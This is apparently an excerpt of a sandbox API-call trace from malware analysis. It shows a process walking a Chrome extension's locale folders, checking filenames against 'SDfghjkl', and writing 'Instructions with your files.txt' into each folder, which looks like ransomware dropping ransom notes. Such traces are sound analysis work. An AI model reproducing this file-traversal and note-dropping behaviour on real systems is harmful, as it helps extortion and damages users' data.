[0129.495] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.495] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.496] CloseHandle (hObject=0x134) returned 1
[0129.496] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.496] GetProcessHeap () returned 0x810000
[0129.496] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.496] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es_419", cAlternateFileName="")) returned 1
[0129.496] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419") returned 145
[0129.496] GetProcessHeap () returned 0x810000
[0129.496] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.496] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*") returned 147
[0129.496] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.496] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\.") returned 147
[0129.496] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841391e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8413b8f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.496] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\..") returned 148
[0129.496] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8413b8f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.496] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\messages.json") returned 159
[0129.496] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.496] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8413b8f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8413b8f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.496] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\Instructions with your files.txt") returned 178
[0129.496] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\es_419\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.497] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.498] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.498] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.498] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.498] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.498] CloseHandle (hObject=0x134) returned 1
[0129.498] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.498] GetProcessHeap () returned 0x810000
[0129.498] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.498] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
[0129.498] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et") returned 141
[0129.498] GetProcessHeap () returned 0x810000
[0129.498] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.498] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*") returned 143
[0129.498] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.499] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\.") returned 143
[0129.499] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84140710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84142e20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.499] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\..") returned 144
[0129.499] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84142e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.499] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\messages.json") returned 155
[0129.499] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.499] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84142e20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84142e20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.499] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\Instructions with your files.txt") returned 174
[0129.500] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\et\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.500] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.501] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.501] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.501] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.501] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.501] CloseHandle (hObject=0x134) returned 1
[0129.501] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.501] GetProcessHeap () returned 0x810000
[0129.501] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.501] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
[0129.501] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi") returned 141
[0129.501] GetProcessHeap () returned 0x810000
[0129.501] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.501] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*") returned 143
[0129.501] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.502] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\.") returned 143
[0129.502] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84147c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414a350, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8414a350, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.502] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\..") returned 144
[0129.502] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8414a350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414f170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.502] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json") returned 155
[0129.502] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.502] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8414a350, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8414f170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.502] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\Instructions with your files.txt") returned 174
[0129.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.502] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.503] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.503] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.503] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.503] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.504] CloseHandle (hObject=0x134) returned 1
[0129.504] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.504] GetProcessHeap () returned 0x810000
[0129.504] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.504] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil", cAlternateFileName="")) returned 1
[0129.504] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil") returned 142
[0129.504] GetProcessHeap () returned 0x810000
[0129.504] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.504] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*") returned 144
[0129.504] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.505] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\.") returned 144
[0129.505] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84153f90, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841566a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841566a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.505] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fil\\..") returned 145
